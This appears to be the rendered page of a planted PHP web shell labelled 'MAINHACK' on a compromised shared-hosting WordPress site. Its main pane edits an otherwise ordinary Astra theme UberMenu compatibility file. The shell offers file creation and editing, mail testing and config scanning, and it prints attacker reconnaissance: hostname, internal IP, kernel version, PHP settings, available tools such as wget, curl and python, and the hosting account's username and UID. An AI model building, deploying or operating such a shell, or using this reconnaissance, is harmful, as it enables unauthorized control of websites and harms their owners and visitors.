[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-astra-ubermeu.php
<?php /** * Ubermenu Compatibility File. * * @link https://Ubermenu.me/ * @since 1.1.7 * * @package Astra */ // If plugin - 'Ubermenu' not exist then return. if ( ! class_exists( 'UberMenu' ) ) { return; } /** * Astra Ubermenu Compatibility */ if ( ! class_exists( 'Astra_Ubermeu' ) ) { /** * Astra Ubermenu Compatibility * * @since 1.0.0 */ class Astra_Ubermeu { /** * Member Variable * * @var object instance */ private static $instance; /** * Initiator * * @since 1.1.7 */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.1.7 */ public function __construct() { add_filter( 'astra_enable_mobile_menu_buttons', array( $this, 'disable_primary_menu_toggle' ), 30 ); } /** * Disable the Mobile Menu toggles from Astra if Uber Menu is used. * * @since 1.1.7 * @param bool $status Status if the mobile menu toggels are enaled or disaled. * @return bool False If ubermenu is configured on this location. Unchanged if it is not configured. */ public function disable_primary_menu_toggle( $status ) { // Don't overrde anythign if ubermenu's function is not present. if ( ! function_exists( 'ubermenu_get_menu_instance_by_theme_location' ) ) { return $status; } $ubermenu_auto_config = ubermenu_get_menu_instance_by_theme_location( 'primary' ); // If ubermenu's auto configuration is not used here, don't override the filter. if ( '' === $ubermenu_auto_config || false === $ubermenu_auto_config ) { return $status; } return false; } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Ubermeu::get_instance();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697